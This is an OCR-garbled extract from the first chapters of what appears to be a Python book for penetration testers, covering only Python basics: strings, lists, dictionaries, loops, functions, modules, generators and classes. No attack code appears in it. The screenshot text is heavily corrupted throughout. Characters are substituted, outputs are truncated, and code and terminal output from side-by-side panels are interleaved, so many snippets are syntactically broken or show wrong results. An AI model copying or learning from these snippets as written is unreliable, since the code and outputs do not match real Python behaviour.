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Chapter 1: Introduction to Python

@ S @ khan@khanUbantu: ~

khan@khanUbantu:~S$ python3

Python 3.5.2 (default, MWov 23 2017, 16:37:01)

[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits" or "license" for more information.
a=22
a

="hello world"

a
a
1lo world'

a=3.17

a="My first Python surprise !"
a

first Python surprise !'

references

| Y
|"/1\| references I"\f,/JI

22 hello waorld
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22 : hello warld
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L IsTypeint ———— = Type Error |
v L Y
int

M ® @ khan@khanubantu: ~

khan@khanUbantu:~$ python3

Python 3.5.2 (default, Nov 23 2017, 16:37:01)

[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits" or "license" for more information.

-

ck (most recent call last):
File "<stdin=", line 1, in <module=>
TypeError: Can't convert 'int' object to str implicitly

M ® @ khan@khanUbantu: ~

khan@khanUbantu:~$ python3

Python 3.5.2 (default, Wov 23 2017, 16:37:01)

[GCC 5.4.0 20160609] on Llinux

Type "help", "copyright", "credits" or "license" for more information.
="hello world"

-4
+str(b)
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M ® @ khan@khanUbantu: ~

Minclude<stdio.}t
void main()

{

int int=33
printf(

&= & khan@khanubantu: ~

khan@khanUbantu:~% gcc test.c -o test.out
test.c: In function ‘main’:
test.c:4:6: two or more data types in declaration specifiers
int int=33;
A
test.c:4:9: expected identifier or ‘(° before ‘=’ token
int int=33;

.y

khan@khanUbantu:~S python3
Python 3.5.2 (default, Nov 23 2017, 16:37:01)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a=100
str(a)

int="hello world"
int
ello world’
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khan@khanUbantu:~% python3

Python 3.5.2 (default, Nov 23 2017, 16:37:01)
[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits" or "license"
==> g=100

»>> str(a)

'166'

>»>> int="hello world"

>>> int

'hello world'

Traceback (most recent call last):

File "<stdin=", line 1, in <module=>
TypeError: 'int' object is not callable
=

khan@khanUbantu:~5% python3
Python 3.5.2 (default, Nov 23 2017, 16:37:01)
[GCC 5.4.0 201608609] on linux

for more information.

Type "help", "copyright", "credits" or "license" for more information.
>>> import keyword
=== 1=0
>>> for kw in keyword.kwlist:
if i <4 :
print(kw,end="\t")

else:
print(kw,end="\n")
i=0

i=i+1

Mone True and as
break class continue
del elif else
finally for from

if import 1in

lambda nonlocal not
pass raise return
while with yield




1 #!fusr/bin/python3

2 numl=22

3 num2=33.5

4 sum_=numl+num2

5 print[|"sum of two numbers is %s"%sum ||

‘oec khan@khanUbantu: ~/Python_Penetration_testing_Lab

khan@khanUbantu:~/Python_Penetration_testing_Lab$ python3 numbers.py
sum of two numbers is 55.5

‘0ec khan@khanUbantu: ~/Python_Penetration_testing_Lab

khan@khanUbantu:~/Python_Penetration_testing_Lab$ chmod +x numbers.py
khan@khanUbantu:~/Python_Penetration_testing_LabS ./numbers.py
sum of two numbers is 55.5

& @ khan@khanUbantu: ~

khan@khanUbantu:~$ python3

Python 3.5.2 (default, Nov 23 2017, 16:37:01)

[GCC 5.4.0 201608609] on linux

Type "help", "copyright", "credits" or "license" for more information.
a="16008"
b="33.33"
int(a)

float(b)
.3
=int(a)+float(b)

ype(c)

3
C
C
.32999999999998
t
ss 'float'=>

khan@khanUbantu: $ python3

Python 3.5.2 (default, Mov 23 2017, 16:37:01)

[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits" or "license" for more information.
=>> my str="Welcome to python strings ! "

==> my_str

'Welcome to python strings ! '
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my str[@]

my str[16]

my str[5]

my str.replace("!","@")
Welcome to python strings @
== my str
Welcome to python strings !

=> my_str

Welcome to python strings !

=> my_str=my str.replace("!","@")
my_str

my_str

Before replace()

Welcome to python strings !
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my_sir

after replace()

Welcome to python strings ! Welcome to python strings @

=>> my _str[@]="B'
Traceback (most recent call last):
File "<stdin=", line 1, in <module>
TypeError: 'str' object does not support item assignment

my str="!! Welcome to python strings !!
my str.replace('!','@")
Welcome to python strings @@’

y str.replace('!',"'@",1)
Welcome to python strings !!

m
!
i

="Welcome to python strings !
r[ﬂ 4]

my str[4:]
ome to python strings !
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>>> my_str[:4]
'Welc'

=== my str[::]
'Welcome to python strings !

1:2]
'Wloet yhnsrns!’

Hello World
=>> my_str.strip()
'Hello World'

Hello world

Hello world
my str.lstrip()
ello world
== my str.rstrip()
Hello world'
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emp details="Employee 1,22,10000'
splitted details=emp details.split(',"')
splitted details

mployee 1', '22', '10000°']

splitted details[@]

mployee 1°'

splitted details[1]

=y vV
mv vV v

Y Y YV

=y =V
PV MW
PdW

0]

(Y

plitted details[2]
]

[ Y
L]
@

"Hello world”
tr.split()

VoW
IV =V v v
m IV v Vv
— m

~wm ~n ~Wnmin 3

-V
W

=
'

=
wWor

O 0T ~T T =

Ay
v
v

my str="! Welcome to python strings !"
is_present=my_str.find("!")
is_present

@V W
VoW
VoW

is _present=my str.find("Welcome")
is present

MWW
VoW
LU

is_present=my str.find("@")
is present

W
W
W

my str="! Welcome to python strings !"
is _present=my str.index("!")
is _present

is_present=my_str.index("@")
aceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: substring not found
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>> my_str="lower"
upper=my_str.upper()

upper
ER'

y str="Welcome to strings!"
en(my str)

>>> my_str="Welcome to strings!"”
>> my str.count('e')

my str="! Hello world'

my str='! Hello world'
"1 in my_str

-
lse

(=

m

— VYV VY
SV YV VY

'1' in my_str

1' not in my_str

m W
= W oW

— v
= W
D
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Hello world'
my str.endswith('world')

my str.endswith('d')
my str.endswith('ld")

my str.endswith('w')

—~V ¥

>>
>>
Fa

LY
W
W

— v
S v
c v

m
se
my str.capitalize()
ello world'
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my list=["one","two","three"]
my list

'two', 'three']
y list[8]

y list[1]

==> my_ list[2]
'three’

y_list=[1,2.5,"Third element"]
rint ("first element %s ,second is %s and third is %s"%(my_list[@],my list[1],my_Llist[2]))
1rs£ element 1 ,second is 2.5 and third is Third element

my_list=[1,2,3,4,5,6,7,8,9,10]
my_list[@:5]

2, 3, 4, 5]

my list[4:10]

6, 7, 8, 9, 10]
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my list=[1,2,3,4,5]
my list

2, 3, 4, 5]

my list.append(6)
my list.append(7)
my list.append(8)

(SR
Y

Vv Vv v o

VoV
LYY I

Y]
Y
W

]
W
W

my list

2, 3, 4, 5,6, 7, 8]

other list=['a','b','c']

my list.append(other 1list)

my list

2! 3! 4! 5.! 6! ?J SJ ['a" Ibl! ICI]]
my list[8]

', b', 'c']

L

YOV OV Y
VOV Vs W

FY Y Y VY

-\
[ TR ™

list1=[1,2,3,4,5]

1ist2=[6,7,8,9,10]
merged=1listi+list2

merged

2,3,4,5,6, 7, 8,9, 10]
merged.extend(['a','b','c','d","e"'])
merged

2,3,4,5,6,7,8,9, 10, 'a

list1=[1,2,3,4,5,6]
list2=11ist1

list2

2, 3, 4, 5, 6]
list2[®]="hello"

VoV W

SRV ERY

Ve Y oYY
W
Vs
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>>> copied=listi[::]

>>> copied

['hello', 2, 3, 4, 5, 6]
>>> copied[0]=1

>>> copied

[1, 2, 3, 4, 5, 6]

=»> listil

[ "hello', 2, 3, 4,

=>> import copy
=>>> a=copy.copy(list1l)

[22, 2, 3, 4, 5, 6]

>>> list1l

['hello', 2, 3, 4, 5, 6]
>>> b=copy.deepcopy(listl)

[22, 2, 3, 4, 5, 6]
>>> list1l
['hello', 2, 3, 4, 5, 6]

list1=[1,2,3,4,5,6]
1ist1

2, 3, 4, 5, 6]

del listi[e]

list1

3, 4, 5, 6]
listl.pop(@)

listl
4, 5, 6]

>>> list1=[1,2,3,4,5,6]

»>> listl

[1, 2, 3, 4, 5, 6]

>>> del list1l

>=> listl

Traceback (most recent call last):
File "<stdin=", line 1, in <module=

NameError: name 'listl' is not defined




raceback (most recent call last):
File "<stdin=", 1line 1, in <module=>
NameError: name 'listl' is not defined

W
W
W

list1=[1,2,3]

list2=1list1*4

list2

2, 3,1, 2,3,1, 2, 3,1, 2, 3]
len(list2)

N
POV O VW
Vo WV

W
W

max(list2)

3

min(list2)

listi=['a’','b','c']
max(list2)

max(list1l)
min{listl)

list1=[1,2,3,'a','b","c"]
max(listl)
aceback (most recent call last):
File "<stdin=", 1line 1, in <module=>
TypeError: unorderable types: str() = int()
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ist1=[1,2,3,4,5,6,7,8]
in list1

=
i
=V Vv
A
W~

im

a' in 1list1l

m W

W

not in listl

— W
LA
-M WM

a' nmot in list1l

71
=V oWV oY

— v
(=
M

tuple1=(1,2,3,4,5,6,7,8,9,108)
tuplel

2,3, 4,5,6, 7, 8, 9, 10)
tuplei[@]

[
v

LY
LY

Vo~ Y

>> tuplel[B]=22
raceback (most recent call last):

v

File "<stdin>", line 1, in <module=>
TypeError: 'tuple' object does not suppoert item assignment

"
v
v

tuplel=(1,2,3,4,5)
tuple2=(6,7,8,9,10)
tuple3=tuplel+tuple2
t

2

t

VOV

IR,

=V o~V WY
v
Vo

uple3[@:5]
3, 4, 5)
ple3[5:18]
108)

[E
W

LY
Vo

=V
Vo

N o Y e Y e W o Y e Y
=W
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>>> small tuple=(22)
=== type(small_tuple)
<class 'int'=>

=>> small tuple=(22,)
=== type(small_tuple)
<class 'tuple'=>

my tuple=(1,2,3,4,5)
my tuple

2, 3, 4, 5)

my Llist=list{my tuple)
my list

2, 3, 4, 5]

|

dicti={"k1":"value1",2:"value2",3.3:"value3"}
dictl
;valuez', 3.3: 'value3', 'ki': 'valuel'}

>>> dicti={"k1":"v1","k2":"v2", "k3":"v3"}
>>> dictl

I{'k2': 'v2', 'k3': 'wv3', 'k1': 'vi1'}

>>> dicti["k2"]

2

>>> dicti["k1"]

|U1|

»>>> dict1["k3"]

IU3I

>>> dict1["ke"]

Traceback (most recent call last):
File "<stdin>", line 1, in <module>

KeyError: 'ke’

>>> dictl={"k1":"v1","k2":"v2","k3":"v3"}
>>> value=dictl.get("k1",False)

=== value

I.i.f-ll

>>> value=dictl.get("ke",False)

=>> value

FaISE




dlctl:{"kl" :"Ul" ’szfl :Flvzfl . flk3f| : FIU3PI}
dict1l

'+ 'w2', "k3': 'v3',
dict1["k4"]="v4"
d
d
d

=V \"
Y]

=~V

Pl 'k1': 'vi1'}

Vo

W
W

ictl
:o'w2', 'k3': 'w3', 'ka':
ict1["k1"]="v1-modified"
ictl
2':
||

=

=~V

2 'v4', "k1'

Vo
Y RY
W

=~V

k3" 'ka': k1

Y

'v2', 'wv3', 'v4',

tuple type=(1,2,3,4,5)
list_type=['a','b','c','d"',"'e']
dict type={"one":1,"two":2}
dicti["tuple key"]=tuple type
dicti["1list_key"]=1list type
dicti["dict key"]=dict type

dicti
ict key': {'one': 1, 'two': 2},
'k1': 'wvi-modified’,

IEI]J Ik4|: |U4|’
'Euple_key': (1, 2, 3, 4, 5)}

ict1["tuple_key"]
, 3, 4, 5)
ctl["llst key"]
Ihl ICI’ Idl
ctl["dlct Ley"]

IE"]

i_ctl {FIleI : FIU1FI . Flszl : Flvzfl , Flk3fl :"U3"}
tct2={"k11":"v11","k22":"v22","k33": "v33"}

'k3': 'w3', 'k1': 'vi'}

'v22', 'k11': 'vi1'}

'vi', 'k22': 'wv22', 'k2": 'wv2', 'k3': 'v3',

"list key

'vi'}

'vi-modified'}

'k11':

'vi1l',

'k33":

'v33'}
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'k22', 'k2', 'k3', 'ki1i', 'k33'])
=>> type(keys)
<class 'dict_keys'=

'k11', 'k33']

W
W

vV oov
.—I

W
W

ct values(['v1l', 'w22', 'v2', 'v3',
alues=1list(values)

IVZI, IV3I,

>>> dictl={"k1":"v1","k2":"v2","k3":"v3","ka": "v4"}

=>> dictl.items()

ict_items([('k1', 'v1'), ('k3', 'v3'), ('ka', 'v4'), ('k2', 'v2')])
»>> type(dictil.items())

cclass 'dict_items's

>>> tuple(dicti.items())
(C'k1', 'v1'), ("k3', 'v3'), ('k4', 'v4'), ('k2', 'v2'))
>>> list(dictl.items())
[(Ikllp |v1|)’ (|k3|’ IV3I), (|k4|’ IV4I), (Ikzl’ |V2|)]

dictlz{nkln:Hvln’ﬂkzﬂ:nvzn,Hk3n:ﬂv3ﬂ,nk4nzﬂv4ﬂ}
"k1" in dict1

— v
m

VoW

— Vv cV

"ke" in dict1

m W
[uf]
wi

e
"ko" not in dictil

True
={'abc':"First key", 'abcd': "Second key"}

'Second key', 'abc': 'First key'}

[19]



ictl
'vi', 'k3': 'w3', 'k4': 'v4', 'k2': 'v2'}
y_list = sorted(dictil.items(), key=lambda x: x[1])
y_Llist
'v2'), ('k3', 'v3'), ('ka', 'v4')]

7 'k3': 'w3', 'k4':
el dicti["k1"]

¢

A 'k4': 'wv4', 'k2':
icti.pop('k2")

= W -

[20]



Chapter 2: Building Python Scripts

0 khan@khanUbantu: ~/Packek-scripts
khan@khanUbantu: $ gedit if_condition.py

Y

khan@khanUbantu: ~/Packet-scripts

khan@khanUbantu: S python3.5 if _condition.py
a is greater
End

[21]



1 #!fusr/bin/python3.5

2 a=22

3 b=44

4 =55

5 d=None

6if 22:

7 print("This will be printed -> if 22:")

8 if "hello":

9 print("This will be printed - if 'hello':")

10 if -1:

11 print("This will be printed -> if -1")

12 if 6:

13 print("This would not be printed")

14 if d:

15 print("This will not be prined")

16

17 print("Lets Start with logical operators")

18

19if a and b and c :

20 print("Printed -> if a and b and c:")

21if a and b and c and d:

22 print("Not printed")

23if a < b and a < c:

24 print("a is smaller than b and ¢ -> without braces")
251if (a < b) and (a =<c) :

26 print("a is smaller than b and ¢ -> with braces")
27

28if a or b or c or d:

29 print("This is pfrinted > if a or b or c or d :")
30

31 if not d:

32 print("Not of d will be printed as not None is True")

[22]



F-

khan@khanUbantu: ~fPacket-scripts

khan@khanUbantu: 5% chmod +x if_detailed.py
khan@khanUbantu: $ .Jif _detailed.py

This will be printed -= if 22:

This will be printed -= if 'hello':

This will be printed -= if -1

Lets Start with logical operators

Printed - if a and b and c:

a is smaller than b and ¢ - without braces
a is smaller than b and ¢ -> with braces
This is printed = if a or b or c or d

Mot of d will be printed as not None is True

[23]



1#!fusrfbin/python3.5

2 a=22;b=44;c=55;d=None

31f a and b and ¢ and d:

4 print("Not primted”)
5 else:

& print('Remember and operator -» All must evaluate to True !")
TAf a == b:

8 print("a and B are equal")
9 else:
18 print("a and B are not equal ! But we saw how To use i

11 print("\nLets use some Bit wise operators with condition statements :\n")
12 a=2;b=2;c=0

13 bit _wise=a & b & cC

14 1f blt_wise:

15 print("Bit wise and returned non zero %s" %bit_wise)
16 else:
17 print("Bit wise and returned zero : %s5" %bit_wise)

18 blt_wise=akb
12 if bit_wise:

26 print("Now Bit wise and returned non zero : %¥s" ¥Xbit_wise)
21 else:

22 print{"Again Bit wise and returned zero : %s" %Xbit_wise)
23

24 bit wise or = a | C
25 1f blt_wlse_or:

26 print("BIt wise OR - Should refturn 2 -= %s° ¥%bit_wise_or)
27 else:

28 print("Thats strange !! -> %s" Rbit_wise_or)

29

38 left_shift= a =< b
31 if left_shift:

32 print{"Remember Left shift has multiplication impact. -» %s" ¥left_shift)
33 else:

34 print{"Thats strange 1! -= %s5" %¥left_shift)

35

36 right_shift= a >> b
37 if right_shift:

EE] print("Thats strange 1! -= %s" ¥right_shift)
3% else:
46 print("Remember Right shift has division impact. = =" %¥right_shifrt)

41 neg_minus_1= ~ a
42 if neg_minus_1 :

43 print("~ operator has (-n-1}) impact - (-n-1) for %s -= %s " ¥({a,neg_minus_1})
44 else:
45 printl"~ operater has (-n-1) impact - Produced @ -= %¥s" %neg_minus_1f]

]

[24]



khan@khanUbantu: ~fPacket-scripts

khan@khanUbantu: S chmod +x if_else.py
OELTCLGELULEL AT S .fif _else.py
Remember and operator -= All must evaluate to True !
A and B are not equal ! But we saw how to use == :)

Lets use some Bit wise operators with condition statements

Bit wise and returned zero : 8

NMow Bit wise and returned non zero : 2

BIt wise OR - Should return 2 -= 2

Remember Left shift has multiplication impact. -= 8
Remember Right shift has division impact. -> 0

~ operator has (-n-1) impact - (-n-1) for 2 -= -3

if el if.py
1#!fusr/bin/python3.5
2 a=22;b=44;c=55;d=MNone
3if a and b and c and d:
4 print("All not none")
5elif b and ¢ and d
6 print{'A seems to be none')
7elif b and c and d :
8 print('A seems to be none')
9 elif a and ¢ and d:
18 print('B seems to be None')
11 elif a and b and d :
12 print('C seems to be None')
13 elif a and b and c :
14 print{'D seems to be NOne')
15 else:
16 print("Strange !!")

khan@khanUbantu: ~fPacket-scripts
khan@khanUbantu: S chmod +x if el if.py

khan@khanUbantu: 5 .Jif el if.py
D seems to be NOne

[25]



1#! Jusr/bin/python3.5

21i=0

3print("------ While Basics ------ "y

4 while 1 < 5:

5 print("Without Braces : Statement %s "%i)

6 i=i+1

71i=0

8 while (1 < 5):

9 print("With Braces : Statement %s "%i)

10 i=1+1

11 print("------- While with Lists ------")

12 my_list=[1,2,"a","b",33.33,"c",4,5,[ 'item 1", 'item 2']]

13 i=0

14 while(i < len(my_list)):

15 if (type(my_list[1]) == type(1)):

16 print [{"Found Integer : %s "%my Llist[i]f]

17 elif (type(my_list[i]) == type("a")):

18 print ("Found String : %s "%my_list[i])

19 elif (type(my_list[i]) == type([])):

20 print("------ Found Inner list -Now lets iterate:--------- ")
21 j=0

22 while(j< len(my_list[i])):

23 print("Inner Item : %s "%my_list[i][]j])
24 j=j+¢1

25 else:

26 print("Neither integer nor string : %s and Type is : %s "%(my_list[i],type(my_Llist[i])))
27 i=1+1

ELELGEL T EL AT $ chmod +x while_loops.py
ELELGEL T EL AT S ./while loops.py
While Basics
Without Braces Statement
Without Braces Statement
Without Braces Statement
Without Braces Statement
Without Braces Statement
With Braces Statement O
With Braces Statement 1
With Braces Statement 2
With Braces Statement 3
With Braces Statement 4
While with Lists

Found Integer : 1
Found Integer : 2
Found String : a
Found String : b
Meither integer nor string : 33.33 and Type is : <class 'float'=
Found String : c
Found Integer : 4

Integer : 5

Found Inner list -MNow lets iterate:

Item item 1

Item item 2

-
"
-
"

[26]



'__getattribute__ __getitem_
| ) _ mul__", '_ ' _new__"', '
__reduce_ ', '_ reduce_ _ R v, _ _ bclasshook ', 'capitalize', 'ca
sefold', 'center', 'count', ' s ' expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isdecimal', 'is
digit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip’', 'maketrans
, 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase
', 'title', 'translate', 'upper', 'zfill']

> return_type=iter(a)
> return_type
<str_iterator object at @x7f893ad89048>

b-[1,2,3,4,5]
ir(b)

', '__class__ ", '__ i Y, ', '__delitem__', '__di ! Y, Y, S ', '__getattribute_
getitem__ ', ' ", '__has imul__ ", ! it i ! L _ '_ne__", '_
_ ", '__reduce_ __reduce_ex__ _ __reversed__' _ i , . ", '__subcl
', 'append clear', 'copy', 'count', xtend', 'index',
return_type_list=iter(b)
return_type_list
st_iterator object at 8x7f®93ad896bs>

a="Hello world"
iter_a=iter(a)
next(iter_a)
next(iter_a)

next(iter_a)

b=[1,2,3,4]
list_itr=iter(b)
next(list_itr)

next(list_itr)

next(list_itr)

1#! fusr/bin/python3.5

2print("------ For Loop with range default start------ ")

3 for 1 in range(5):

4 print("Statement %s ,step 1 "%1)

5

6 print("------ For Loop with Range specifying start and end ------ ")
7 for 1 in range(5,10):

8 print("Statement %s ,step 1 "%i)

9

10 print("------ For Loop with Range specifying start , end and step ------ ")
11 step=2

12 for 1 in range(1,10,step):

13 print("Statement %s ,step : %s "%¥(i,step))

[27]



khan@khanUbantu: $ chmod +x for_loops.py
khan@khanUbantu: S ./for_loops.py

For Loop with range default start
,step 1
,step 1
,Step 1
,5tep 1
,step 1

For Loop with Range specifying start and end
,step 1
,Step 1
,step 1
,step 1
,step 1

For Loop with Range specifying start , end and step
,Step
,step
,step
,step
,step

[28]



1#! fusr/bin/python3.5

2print("------ Iterate over strings ------ ")
3my _str="Hello"

4 for s in my_str:

5 print(s)
6
7 print("------ Iterate over Lists------ "

8 my list=[1,2,3,4,5,6]
g9 for 1 in my_ list:
10 print(1l)

11 print("------ Iterate over Lists with index number -----

12 my list=[1,2,3,4,5,6]
13 for index,value in enumerate(my list):

14 print(index,value)
15
16 print("------ Iterate over Dictionary Keys ------ ")

1? N}F_dict={"k1" :Illurlll ’Ilkzll . ||U,2|| ’||k3|| :“U3“}
18 for key in my dict:

19 print("Key : "+key+ " Value : "+ my dict[key])
20
21 print("------ Iterate over Dictionary with items() ----

22 my_dict:{“k‘l“ :Illur.lll . Ilkzll : IIUZII . Ilk3ll :“U3“}
23 for key,value in my dict.items():

24 print("Key : "+key+ " Value : "+ wvalue)
25

26

27 print("------ Iterate over Tuples ------ ")

28 my_ tuple=(1,2,3,4,5)

29 for value in my_ tuple:

30 print(value)

31

32 print("------ Iterate over Set ------ ")

33 my set=[12,2,3,3,5,5]
34 for value in my set:
35 print(value)
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khan@khanUbantu: S ./for loops ad.py
Iterate over strings

Iterate

Iterate Lists with index number

Iterate
k3 value
k2 value
k1 value

Iterate
k3 value
k2 value
k1 value

Iterate
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1#! fusr/bin/python3.5
2 def print_msgl():

3 print("Basic Message Printed")

4 def print_msg2(message):

5 print(message)

6 def print_msg3(message,do_return):

7 print(message)

8 if do_return == True:

9 return True

10 def print_msg4(m,op1="Hello world",op2=False):

11 print("----------- e ")

12 print("Mandatory aurgument : "+str(m))

13 print("Optional aurgument 1 : " +str(opl))

14 print("Optional aurgument 2 : " +str(op2))

15 print("----------- e ")

16 def print msg5(argl,arg2,arg3):

17 return argl*2,arg2*2,arg3*2

18if name == "_ main_ ":

19 print_msgi()

20 print_msg2("This is a custom message")

21 Print( ----mmm - ")

22 rt=print_msg3("This is message with return type",True)
23 print("Return value is : " +str{rt)+"\n\n")

24 print("------c e ")

25 Print( ----mmm - ")

26 n_rt=print_msg3("This is message without return type",False)
27 print("Return value is : " +str(n_rt)+"\n\n")

28 print("------c e ")

29 n_rt=print_msg3(do_return=False,message="Criss cross parameters !")
30 print("------------memee e ")

31 print_msg4("Test Mandatory")

32 print_msg4(1,2)

33 print_msg4(2,3,2)

34 print_msg4(1,op2="Test")

35 print_msg4(1,o0p2=33,0pl=44)

36 r=print_msg5(1,2,3)

37 print("type : " +str(type(r))+"Values : " +str(r[0]),str(r[1]),str{r[2]))
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Basic Message Printed

This is a custom message Mandatory aurgument
Optional aurgument

This is message with return type Optional aurgument

Return value 1is

Mandatory aurgument :
Optional aurgument 1 :
Optional aurgument 2
This is message without return type
Return value is : Neone

Mandatory aurgument
Optional aurgument 1 : Hello world
Optional aurgument 2

Mandatory aurgument :
Mandatory aurgument : Test Mandatory Optional aurgument 1 : 44
Optional aurgument 1 : Hello world Optional aurgument 2 :
Optional aurgument 2

[32]



2 def method_1(*args):

3 print("------------emee - "y
4 print("Method 1 -")

5 print("Recievied : " +str(args))
6 sum=0

7 for arg in args:

8 SUM=SuUmM+arg

9 print ("Sum : " +str(sum))
10 print("

11 def method 1 _rev(a=0,b=

12 print("

13 print("Method_1 rev")

14 sum=a + b + c + d

15 print ("Sum : " +str(sum))

16 print("------ccccccccnccnanna.. \n")

17 def method_2(**args):

18 print(" ")

19 print("Method 2")

20 print("Recievied : " +str(args))

21 for k,v in args.items()

22 print("Key : " +str(k) +",\

23 Value : "+str(v))

24 print("---------cm e \n") i i H : 33, 'k1': 22}
25 def method_2_rev(kil="first key",k2="second key") :| SN Value : 33
26 print(" ") Value : 22
27 print("Methid 2 rev")

28 print("value for K1 : "+str(k1))

29 print("value for K2 : "+str(k2))

30 print]("------------iiiiiaaan \n"

31

32 def execute_all():

33 method 1(1,2,3,4,5,6,7,8)

34 method_2(k1=22 ,k2=33)

35 my_ list=[1,2,3,4] Methid_2_rev

36 my_dict={"k1":"Value 1","k2":"Value 2"} alue for K1 : Value 1

37 method 1 rev(*my list) Value for K2 : Value 2

38 method_2_rev(**my_dict)

39 execute all()

#! Jusrfbin/python3.5
def child method(): |

print("This is child method()")

1#! fusr/bin/python3.5
2 import child as ¢

3 def parent_method():
- print("--------------m-non- ") -
5 print("IN parent method -Invoking child()")
6 c.child_method()

7 primt("---------cc-ceenn-- \n")
8

9

khan@khanUbantu: ~/Packet-scripts
<han@khanUbantu: S ./parent.py

[N parent method -Invoking child()
his is child method()

parent method/]
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Packebscripts shapes

area finder.py _init__.py

1#!fusrfbin/python3.5

2 def compute_area(shape,**args): 1 #1 /usr/bin/python3.5

3 if shape.lower() == "circle": 2 from shapes import area_finder as AF

4 radius=args.get("radius",0) 3 import shapes.area_finder as AFF

5 area=2.17 * (radius **2) 4 def find_area():

6 print("Area circle : " +str(area)) 5 AF.compute_area("circle",radius=4)
7 elif shape.lower() in ["rect","rectangle"]: ¢ AF.compute_area("triangle", base=4,altitude=6)
8 length=args.get("length",0) 7 AF.compute_area[{"rect",length=12,width=16
9 width=args.get("width",e) 8 AF.compute_area("square",side=4)
10 area=length*width 9

11 print("Area Rect : " +str(area)) 10 find_area()

12 elif shape.lower() == "triangle": -

13 base=args.get("base",0)

14 altitude=args.get("altitude”,8)

15 area=(base*altitude)/2 | <han@khanUbantu:

16 print("Area :Triangle " +str(area)) rea circle : 34.72

17 elif shape.lower() == "square": rea :Triangle 12.0

18 side=args.get("side",0) : 192

19 area= side **2 ea Sc e : 16

20 print("Area Square : " +str(area))

21 else:

22 print("Shape not supported”)

1 #! fusr/binfpython3.5

2 def genMethod(): |

3 a=100

4 for 1 in range(3):

5 print("A before imcrement : " +4str(a))

6 a=a+l

7 yield a

8 print("A after increment : " +str(a))

9

10 def driver(): befere in ment : 100
11 v=genMethod()}

12 next(v) after increment ;

13 print("---------------------- ") before increment 101
14 next/ivi]

15 print("-----------oooooooooo ") after increment : 102
16 next(v) before increment : 102
17 primt("---=-="-memmmmm e e ")
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1 #!fusr/bin/python3.5
2 def genMethod():

before increment : 100

3 a=1600 H

4 for L in range(3):

5 print("A before increment : " #str(a)) after increment : 101
G a=a+l before increment : 181
7 yield a 7

8 print("A after increment : " +str(a))

9 after increment : 1602
10 def driver for(): before increment : 182
11 for a in genMethod(): H

il print("A i1s : "+str(a))

13 print("-------------- ") after increment : 183

14#!fusr/binfpython3.5
2 def expressions():

3 gen_obj=(x*x for x in range(3)) )
4 for x in gen_obj: 1
5 print(x) 4

6 expressions()

1#!Jusr/binfpython3.5 | 1 #t/usr/bin/python3.5

2 def square(num): 2 sq_list=[x**2 for x in my_list]
3 return num ** 2 3 print(sg_list)

Smy list=[1,2,3,4]

6 sq_Llist=[]

7 for num in my list:

8 sq_list.append(square(num})

9 print(sqg Llist)

1, 4, 9, 16]
1, 4, 9, 16]

1 #! fusr/bin/python3.5

2 11=[1,2,3,4]

3 12=[5,6]

4 sq_even=[x**2 for x in 11 if x%2 ==0]
51 _sum=[x+y for x in 11 for y in 12]

6 sg_values=[{x:x**2} for x im 11]

7 print("Even sguares : " +str(sq_even)) Even SQfSEE H [4,[}6]? ok O
: "e 5 Lo um nested Loop : [6, 7, 7, B, 8, 9, 9,
8pr1.nt( Sum nested Loop +5tr(1_5um)) Squares Dict : [{1: 1}, {2: 4}, {3: 9}, {4: 16}]

9 print("Squares Dict : " +str(sq values))
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1 #!/usr/bin/python3.5 I

2 def square(num):

3 return num ** 2

411=[1,2,3,4]

5 sg=list(map(square,l1)) - -
6 print(str(sq)) 1,00 1G]

1 #! fusr/bin/python3.5 I

2 11=[1,2,3,4]

3 sq_lambda=1list(map(lambda x : x*¥2,11))

4 print(str{sg lambda)) [1, 4, 9, 16]

1#!jusrj/binfpython3.5
211=[1,2,3,4]

312=[5,6,7,8] Zipped is : [(1, 5), (2, 6), (3, 7), (4, 8)]
4 zipped=list(zip(11,12)) sum : [6, 8, 10, 12]

5 print("Zipped is : " +str(zipped)) Sum one shot (M1) : [6, 8, 16, 12]

6 sum_=[x+y for x,y in zipped] Sum 1 shot (M2) : [6, 8, 160, 12]

7print("Sum : "+strsum_))

8 sum_1=Tlist{map(lambda = :x[8]+x[1] ,zip(1l1,12)))
9 print("Sum one shot (M1) : "+str(sum_1))

10 sum_2=[x + y for x,y in zip(l1,12)]

11 print("Sum 1 shot (M2) : "+str(sum 2))

1#! Jusr/binfpython3.5 [
2 even_list=filter(lambda x : x % 2 ==0 ,[1,2,3,4,5,6,7,8])
3 print(list(even_list))

khan@khanUbantu: S ./filter_usage.py

[2, 4, 6, 8]

[36]




Chapter 3: Concept Handling

1#! /usr/bin/python3.5
2 class Id Generator():

3 def init (self):

4 self.id=0

5 def generate(self):

6 self.id=self.id + 1

7 return self.id

8

9 class Employee():

10 def init (self,Name,id gen):

11 self.Id=id_gen.generate()

12 self.Name=Name

13 self.D id=None

14 self.Salary=None

15 def printDetails(self):

16 print(“\n")

17 print("Employee Details : ")
18 print("ID : +str(self.Id))
19 print("Name +str{self.Name))
20 print(“Salary : + str(self.Salary))
21 print(

22

23

24 1d gen=Id Generator()

25 empl=Employee("Empl”,Id gen)
26 empl.Salary=20000

27 empl.D id=2

28 emp2=Employee("Emp2",Id_gen)
29 emp2.Salary=10000

30 emp2.D id=1

31 empl.printDetails()

32 emp2.printDetails()
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25 class Programmer(Employee):

26 def init (self,name,id_gen,lang=None,

27 db=None,projects=None, **add_skills):
28 self.languages=lang

29 self.db=db

30 self.projects=projects

31 self.add_skils=add_skills

32 super().__init__ (name,id_gen)

33 def printSkillDetails(self):

34 print("ID : +s5triself.Id))

35 print(“"Name +striself.Name))

36 print("salary : + stri{self.5alary))
37 print{ guage i

38 for 1 in self.languages:

39 print("\t™ +str(l))

48 print("D hases )

41 for d in self.db:

42 print{"\t" +str(d)})

43 print("Pre t )

44 for p in self.projects:

45 print{"\t* +strip))

46 print("Add Skill ]

47 for k,v in self.add skils.items():
